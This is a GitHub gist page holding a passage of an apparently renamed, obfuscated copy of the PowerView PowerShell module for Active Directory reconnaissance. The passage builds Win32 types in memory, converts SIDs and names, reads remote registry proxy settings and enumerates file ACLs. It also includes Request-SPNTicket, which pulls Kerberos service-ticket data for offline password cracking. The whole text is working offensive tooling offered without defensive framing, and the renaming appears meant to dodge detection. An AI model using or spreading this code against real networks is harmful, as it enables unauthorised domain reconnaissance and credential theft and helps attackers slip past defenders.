Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@nullbind
Last active January 25, 2024 13:28
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save nullbind/f5e26b6e6024e5c21256e8bfb7babf2d to your computer and use it in GitHub Desktop.
Save nullbind/f5e26b6e6024e5c21256e8bfb7babf2d to your computer and use it in GitHub Desktop.
Obfuscated-PowerView-Example.psm1
function New-InMemoryModule
{
Param
(
[Parameter(Position = 0)]
[ValidateNotNullOrEmpty()]
[String]
$ModuleName = [Guid]::NewGuid().ToString()
)
$LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()
ForEach ($Assembly in $LoadedAssemblies) {
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
return $Assembly
}
}
$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
$Domain = [AppDomain]::CurrentDomain
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
return $ModuleBuilder
}
function func
{
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$DllName,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$FunctionName,
[Parameter(Position = 2, Mandatory = $True)]
[Type]
$ReturnType,
[Parameter(Position = 3)]
[Type[]]
$ParameterTypes,
[Parameter(Position = 4)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention,
[Parameter(Position = 5)]
[Runtime.InteropServices.CharSet]
$Charset,
[Switch]
$SetLastError
)
$Properties = @{
DllName = $DllName
FunctionName = $FunctionName
ReturnType = $ReturnType
}
if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
if ($Charset) { $Properties['Charset'] = $Charset }
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
New-Object PSObject -Property $Properties
}
function Add-Win32Type
{
[OutputType([Hashtable])]
Param(
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[String]
$DllName,
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[String]
$FunctionName,
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[Type]
$ReturnType,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Type[]]
$ParameterTypes,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Runtime.InteropServices.CharSet]
$Charset = [Runtime.InteropServices.CharSet]::Auto,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[Switch]
$SetLastError,
[Parameter(Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[ValidateNotNull()]
[String]
$Namespace = ''
)
BEGIN
{
$TypeHash = @{}
}
PROCESS
{
if ($Module -is [Reflection.Assembly])
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
}
else
{
$TypeHash[$DllName] = $Module.GetType($DllName)
}
}
else
{
# Define one type for each DLL
if (!$TypeHash.ContainsKey($DllName))
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
}
else
{
$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
}
}
$Method = $TypeHash[$DllName].DefineMethod(
$FunctionName,
'Public,Static,PinvokeImpl',
$ReturnType,
$ParameterTypes)
# Make each ByRef parameter an Out parameter
$i = 1
ForEach($Parameter in $ParameterTypes)
{
if ($Parameter.IsByRef)
{
[void] $Method.DefineParameter($i, 'Out', $Null)
}
$i++
}
$DllImport = [Runtime.InteropServices.DllImportAttribute]
$SetLastErrorField = $DllImport.GetField('SetLastError')
$CallingConventionField = $DllImport.GetField('CallingConvention')
$CharsetField = $DllImport.GetField('CharSet')
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
# Equivalent to C# version of [DllImport(DllName)]
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
[Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
[Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))
$Method.SetCustomAttribute($DllImportAttribute)
}
}
END
{
if ($Module -is [Reflection.Assembly])
{
return $TypeHash
}
$ReturnTypes = @{}
ForEach ($Key in $TypeHash.Keys)
{
$Type = $TypeHash[$Key].CreateType()
$ReturnTypes[$Key] = $Type
}
return $ReturnTypes
}
}
function psenum
{
[OutputType([Type])]
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[Parameter(Position = 1, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
[Parameter(Position = 2, Mandatory = $True)]
[Type]
$Type,
[Parameter(Position = 3, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$EnumElements,
[Switch]
$Bitfield
)
if ($Module -is [Reflection.Assembly])
{
return ($Module.GetType($FullName))
}
$EnumType = $Type -as [Type]
$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
if ($Bitfield)
{
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
}
ForEach ($Key in $EnumElements.Keys)
{
# Apply the specified enum type to each element
$Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
}
$EnumBuilder.CreateType()
}
function field
{
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[UInt16]
$Position,
[Parameter(Position = 1, Mandatory = $True)]
[Type]
$Type,
[Parameter(Position = 2)]
[UInt16]
$Offset,
[Object[]]
$MarshalAs
)
@{
Position = $Position
Type = $Type -as [Type]
Offset = $Offset
MarshalAs = $MarshalAs
}
}
function struct
{
[OutputType([Type])]
Param
(
[Parameter(Position = 1, Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[Parameter(Position = 2, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
[Parameter(Position = 3, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$StructFields,
[Reflection.Emit.PackingSize]
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
[Switch]
$ExplicitLayout
)
if ($Module -is [Reflection.Assembly])
{
return ($Module.GetType($FullName))
}
[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
Class,
Public,
Sealed,
BeforeFieldInit'
if ($ExplicitLayout)
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
}
else
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
}
$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$Fields = New-Object Hashtable[]($StructFields.Count)
# Sort each field according to the orders specified
# Unfortunately, PSv2 doesn't have the luxury of the
# hashtable [Ordered] accelerator.
ForEach ($Field in $StructFields.Keys)
{
$Index = $StructFields[$Field]['Position']
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
}
ForEach ($Field in $Fields)
{
$FieldName = $Field['FieldName']
$FieldProp = $Field['Properties']
$Offset = $FieldProp['Offset']
$Type = $FieldProp['Type']
$MarshalAs = $FieldProp['MarshalAs']
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
if ($MarshalAs)
{
$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
if ($MarshalAs[1])
{
$Size = $MarshalAs[1]
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
$UnmanagedType, $SizeConst, @($Size))
}
else
{
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
}
$NewField.SetCustomAttribute($AttribBuilder)
}
if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
}
# Make the struct aware of its own size.
# No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
$SizeMethod = $StructBuilder.DefineMethod('GetSize',
'Public, Static',
[Int],
[Type[]] @())
$ILGenerator = $SizeMethod.GetILGenerator()
# Thanks for the help, Jason Shirk!
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
# Allow for explicit casting from an IntPtr
# No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
'PrivateScope, Public, Static, HideBySig, SpecialName',
$StructBuilder,
[Type[]] @([IntPtr]))
$ILGenerator2 = $ImplicitConverter.GetILGenerator()
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
$StructBuilder.CreateType()
}
filter Get-IniContent {
[CmdletBinding()]
Param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
[Alias('FullName')]
[ValidateScript({ Test-Path -Path $_ })]
[String[]]
$Path
)
ForEach($TargetPath in $Path) {
$IniObject = @{}
Switch -Regex -File $TargetPath {
"^\[(.+)\]" # Section
{
$Section = $matches[1].Trim()
$IniObject[$Section] = @{}
$CommentCount = 0
}
"^(;.*)$" # Comment
{
$Value = $matches[1].Trim()
$CommentCount = $CommentCount + 1
$Name = 'Comment' + $CommentCount
$IniObject[$Section][$Name] = $Value
}
"(.+?)\s*=(.*)" # Key
{
$Name, $Value = $matches[1..2]
$Name = $Name.Trim()
$Values = $Value.split(',') | ForEach-Object {$_.Trim()}
if($Values -isnot [System.Array]) {$Values = @($Values)}
$IniObject[$Section][$Name] = $Values
}
}
$IniObject
}
}
filter Export-PowerViewCSV {
Param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
[System.Management.Automation.PSObject[]]
$InputObject,
[Parameter(Mandatory=$True, Position=0)]
[String]
[ValidateNotNullOrEmpty()]
$OutFile
)
$ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation
# mutex so threaded code doesn't stomp on the output file
$Mutex = New-Object System.Threading.Mutex $False,'CSVMutex';
$Null = $Mutex.WaitOne()
if (Test-Path -Path $OutFile) {
# hack to skip the first line of output if the file already exists
$ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
}
else {
$ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
}
$Mutex.ReleaseMutex()
}
filter Get-IPAddress {
[CmdletBinding()]
param(
[Parameter(Position=0, ValueFromPipeline=$True)]
[Alias('HostName')]
[String]
$ComputerName = $Env:ComputerName
)
try {
# extract the computer name from whatever object was passed on the pipeline
$Computer = $ComputerName | Get-NameField
# get the IP resolution of this specified hostname
@(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
if ($_.AddressFamily -eq 'InterNetwork') {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
$Out
}
}
}
catch {
Write-Verbose -Message 'Could not resolve host to an IP Address.'
}
}
filter Convert-NameToSid {
[CmdletBinding()]
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
[String]
[Alias('Name')]
$ObjectName,
[String]
$Domain
)
$ObjectName = $ObjectName -Replace "/","\"
if($ObjectName.Contains("\")) {
# if we get a DOMAIN\user format, auto convert it
$Domain = $ObjectName.Split("\")[0]
$ObjectName = $ObjectName.Split("\")[1]
}
elseif(-not $Domain) {
$Domain = (Get-ThisThingDomain).Name
}
try {
$Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName))
$SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ObjectName' $ObjectName
$Out | Add-Member Noteproperty 'SID' $SID
$Out
}
catch {
Write-Verbose "Invalid object/name: $Domain\$ObjectName"
$Null
}
}
filter Convert-SidToName {
[CmdletBinding()]
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
[String]
[ValidatePattern('^S-1-.*')]
$SID
)
try {
$SID2 = $SID.trim('*')
# try to resolve any built-in SIDs first
# from https://support.microsoft.com/en-us/kb/243330
Switch ($SID2) {
'S-1-0' { 'Null Authority' }
'S-1-0-0' { 'Nobody' }
'S-1-1' { 'World Authority' }
'S-1-1-0' { 'Everyone' }
'S-1-2' { 'Local Authority' }
'S-1-2-0' { 'Local' }
'S-1-2-1' { 'Console Logon ' }
'S-1-3' { 'Creator Authority' }
'S-1-3-0' { 'Creator Owner' }
'S-1-3-1' { 'Creator Group' }
'S-1-3-2' { 'Creator Owner Server' }
'S-1-3-3' { 'Creator Group Server' }
'S-1-3-4' { 'Owner Rights' }
'S-1-4' { 'Non-unique Authority' }
'S-1-5' { 'NT Authority' }
'S-1-5-1' { 'Dialup' }
'S-1-5-2' { 'Network' }
'S-1-5-3' { 'Batch' }
'S-1-5-4' { 'Interactive' }
'S-1-5-6' { 'Service' }
'S-1-5-7' { 'Anonymous' }
'S-1-5-8' { 'Proxy' }
'S-1-5-9' { 'Enterprise Domain Controllers' }
'S-1-5-10' { 'Principal Self' }
'S-1-5-11' { 'Authenticated Users' }
'S-1-5-12' { 'Restricted Code' }
'S-1-5-13' { 'Terminal Server Users' }
'S-1-5-14' { 'Remote Interactive Logon' }
'S-1-5-15' { 'This Organization ' }
'S-1-5-17' { 'This Organization ' }
'S-1-5-18' { 'Local System' }
'S-1-5-19' { 'NT Authority' }
'S-1-5-20' { 'NT Authority' }
'S-1-5-80-0' { 'All Services ' }
'S-1-5-32-544' { 'BUILTIN\Administrators' }
'S-1-5-32-545' { 'BUILTIN\Users' }
'S-1-5-32-546' { 'BUILTIN\Guests' }
'S-1-5-32-547' { 'BUILTIN\Power Users' }
'S-1-5-32-548' { 'BUILTIN\Account Operators' }
'S-1-5-32-549' { 'BUILTIN\Server Operators' }
'S-1-5-32-550' { 'BUILTIN\Print Operators' }
'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
'S-1-5-32-552' { 'BUILTIN\Replicators' }
'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
Default {
$Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2))
$Obj.Translate( [System.Security.Principal.NTAccount]).Value
}
}
}
catch {
Write-Verbose "Invalid SID: $SID"
$SID
}
}
filter Convert-ADName {
[CmdletBinding()]
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
[String]
$ObjectName,
[String]
[ValidateSet("NT4","Simple","Canonical")]
$InputType,
[String]
[ValidateSet("NT4","Simple","Canonical")]
$OutputType
)
$NameTypes = @{
'Canonical' = 2
'NT4' = 3
'Simple' = 5
}
if(-not $PSBoundParameters['InputType']) {
if( ($ObjectName.split('/')).Count -eq 2 ) {
$ObjectName = $ObjectName.replace('/', '\')
}
if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") {
$InputType = 'NT4'
}
elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") {
$InputType = 'Simple'
}
elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") {
$InputType = 'Canonical'
}
else {
Write-Warning "Can not identify InType for $ObjectName"
return $ObjectName
}
}
elseif($InputType -eq 'NT4') {
$ObjectName = $ObjectName.replace('/', '\')
}
if(-not $PSBoundParameters['OutputType']) {
$OutputType = Switch($InputType) {
'NT4' {'Canonical'}
'Simple' {'NT4'}
'Canonical' {'NT4'}
}
}
# try to extract the domain from the given format
$Domain = Switch($InputType) {
'NT4' { $ObjectName.split("\")[0] }
'Simple' { $ObjectName.split("@")[1] }
'Canonical' { $ObjectName.split("/")[0] }
}
# Accessor functions to simplify calls to NameTranslate
function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
$Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters)
if ( $Output ) { $Output }
}
function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
[Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters)
}
$Translate = New-Object -ComObject NameTranslate
try {
Invoke-Method $Translate "Init" (1, $Domain)
}
catch [System.Management.Automation.MethodInvocationException] {
Write-Verbose "Error with translate init in Convert-ADName: $_"
}
Set-Property $Translate "ChaseReferral" (0x60)
try {
Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName)
(Invoke-Method $Translate "Get" ($NameTypes[$OutputType]))
}
catch [System.Management.Automation.MethodInvocationException] {
Write-Verbose "Error with translate Set/Get in Convert-ADName: $_"
}
}
function ConvertFrom-UACValue {
[CmdletBinding()]
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
$Value,
[Switch]
$ShowAll
)
begin {
# values from https://support.microsoft.com/en-us/kb/305144
$UACValues = New-Object System.Collections.Specialized.OrderedDictionary
$UACValues.Add("SCRIPT", 1)
$UACValues.Add("ACCOUNTDISABLE", 2)
$UACValues.Add("HOMEDIR_REQUIRED", 8)
$UACValues.Add("LOCKOUT", 16)
$UACValues.Add("PASSWD_NOTREQD", 32)
$UACValues.Add("PASSWD_CANT_CHANGE", 64)
$UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
$UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
$UACValues.Add("NORMAL_ACCOUNT", 512)
$UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
$UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
$UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
$UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
$UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
$UACValues.Add("SMARTCARD_REQUIRED", 262144)
$UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
$UACValues.Add("NOT_DELEGATED", 1048576)
$UACValues.Add("USE_DES_KEY_ONLY", 2097152)
$UACValues.Add("DONT_REQ_PREAUTH", 4194304)
$UACValues.Add("PASSWORD_EXPIRED", 8388608)
$UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
}
process {
$ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
if($Value -is [Int]) {
$IntValue = $Value
}
elseif ($Value -is [PSCustomObject]) {
if($Value.useraccountcontrol) {
$IntValue = $Value.useraccountcontrol
}
}
else {
Write-Warning "Invalid object input for -Value : $Value"
return $Null
}
if($ShowAll) {
foreach ($UACValue in $UACValues.GetEnumerator()) {
if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
}
else {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
else {
foreach ($UACValue in $UACValues.GetEnumerator()) {
if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
$ResultUACValues
}
}
filter Get-Proxy {
param(
[Parameter(ValueFromPipeline=$True)]
[ValidateNotNullOrEmpty()]
[String]
$ComputerName = $ENV:COMPUTERNAME
)
try {
$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName)
$RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings")
$ProxyServer = $RegKey.GetValue('ProxyServer')
$AutoConfigURL = $RegKey.GetValue('AutoConfigURL')
$Wpad = ""
if($AutoConfigURL -and ($AutoConfigURL -ne "")) {
try {
$Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)
}
catch {
Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL"
}
}
if($ProxyServer -or $AutoConfigUrl) {
$Properties = @{
'ProxyServer' = $ProxyServer
'AutoConfigURL' = $AutoConfigURL
'Wpad' = $Wpad
}
New-Object -TypeName PSObject -Property $Properties
}
else {
Write-Warning "No proxy settings found for $ComputerName"
}
}
catch {
Write-Warning "Error enumerating proxy settings for $ComputerName : $_"
}
}
function Request-SPNTicket {
[CmdletBinding()]
Param (
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)]
[Alias('ServicePrincipalName')]
[String[]]
$SPN,
[Alias('EncryptedPart')]
[Switch]
$EncPart
)
begin {
Add-Type -AssemblyName System.IdentityModel
}
process {
ForEach($UserSPN in $SPN) {
Write-Verbose "Requesting ticket for: $UserSPN"
if (!$EncPart) {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
}
else {
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
$TicketByteStream = $Ticket.GetRequest()
if ($TicketByteStream)
{
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace "-"
[System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split "A48201"
$Parts.RemoveAt($Parts.Count - 1)
$Parts -join "A48201"
break
}
}
}
}
}
function Get-PathAcl {
[CmdletBinding()]
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
[String]
$Path,
[Switch]
$Recurse
)
begin {
function Convert-FileRight {
# From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
[CmdletBinding()]
param(
[Int]
$FSR
)
$AccessMask = @{
[uint32]'0x80000000' = 'GenericRead'
[uint32]'0x40000000' = 'GenericWrite'
[uint32]'0x20000000' = 'GenericExecute'
[uint32]'0x10000000' = 'GenericAll'
[uint32]'0x02000000' = 'MaximumAllowed'
[uint32]'0x01000000' = 'AccessSystemSecurity'
[uint32]'0x00100000' = 'Synchronize'
[uint32]'0x00080000' = 'WriteOwner'
[uint32]'0x00040000' = 'WriteDAC'
[uint32]'0x00020000' = 'ReadControl'
[uint32]'0x00010000' = 'Delete'
[uint32]'0x00000100' = 'WriteAttributes'
[uint32]'0x00000080' = 'ReadAttributes'
[uint32]'0x00000040' = 'DeleteChild'
[uint32]'0x00000020' = 'Execute/Traverse'
[uint32]'0x00000010' = 'WriteExtendedAttributes'
[uint32]'0x00000008' = 'ReadExtendedAttributes'
[uint32]'0x00000004' = 'AppendData/AddSubdirectory'
[uint32]'0x00000002' = 'WriteData/AddFile'
[uint32]'0x00000001' = 'ReadData/ListDirectory'
}
$SimplePermissions = @{
[uint32]'0x1f01ff' = 'FullControl'
[uint32]'0x0301bf' = 'Modify'
[uint32]'0x0200a9' = 'ReadAndExecute'
[uint32]'0x02019f' = 'ReadAndWrite'
[uint32]'0x020089' = 'Read'
[uint32]'0x000116' = 'Write'
}
$Permissions = @()
# get simple permission
$Permissions += $SimplePermissions.Keys | % {
if (($FSR -band $_) -eq $_) {
$SimplePermissions[$_]
$FSR = $FSR -band (-not $_)
}
}
# get remaining extended permissions
$Permissions += $AccessMask.Keys |
? { $FSR -band $_ } |
% { $AccessMask[$_] }
($Permissions | ?{$_}) -join ","
}
}
process {
try {
$ACL = Get-Acl -Path $Path
$ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
$Names = @()
if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') {
$Object = Get-ADObject -SID $_.IdentityReference
$Names = @()
$SIDs = @($Object.objectsid)
if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) {
$SIDs += Get-ThisThingGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid
}
$SIDs | ForEach-Object {
$Names += ,@($_, (Convert-SidToName $_))
}
}
else {
$Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value))
}
ForEach($Name in $Names) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Path' $Path
$Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
$Out | Add-Member Noteproperty 'IdentityReference' $Name[1]
$Out | Add-Member Noteproperty 'IdentitySID' $Name[0]
$Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
$Out
}
}
}
catch {
Write-Warning $_
}
}
}
filter Get-NameField {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Object]
$Object,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[String]
$DnsHostName,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[String]
$Name
)
if($PSBoundParameters['DnsHostName']) {
$DnsHostName
}
elseif($PSBoundParameters['Name']) {
$Name
}
elseif($Object) {
if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {
# objects from Get-ThisThingComputer
$Object.dnshostname
}
elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {
# objects from Get-ThisThingDomainController
$Object.name
}
else {
# strings and catch alls
$Object
}
}
else {
return $Null
}
}
function Convert-LDAPProperty {
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
[ValidateNotNullOrEmpty()]
$Properties
)
$ObjectProperties = @{}
$Properties.PropertyNames | ForEach-Object {
if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) {
# convert the SID to a string
$ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value
}
elseif($_ -eq "objectguid") {
# convert the GUID to a string
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
}
elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) {
# convert timestamps
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# if we have a System.__ComObject
$Temp = $Properties[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
[Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
}
else {
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
}
}
elseif($Properties[$_][0] -is [System.MarshalByRefObject]) {
# try to convert misc com objects
$Prop = $Properties[$_]
try {
$Temp = $Prop[$_][0]
Write-Verbose $_
[Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
[Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
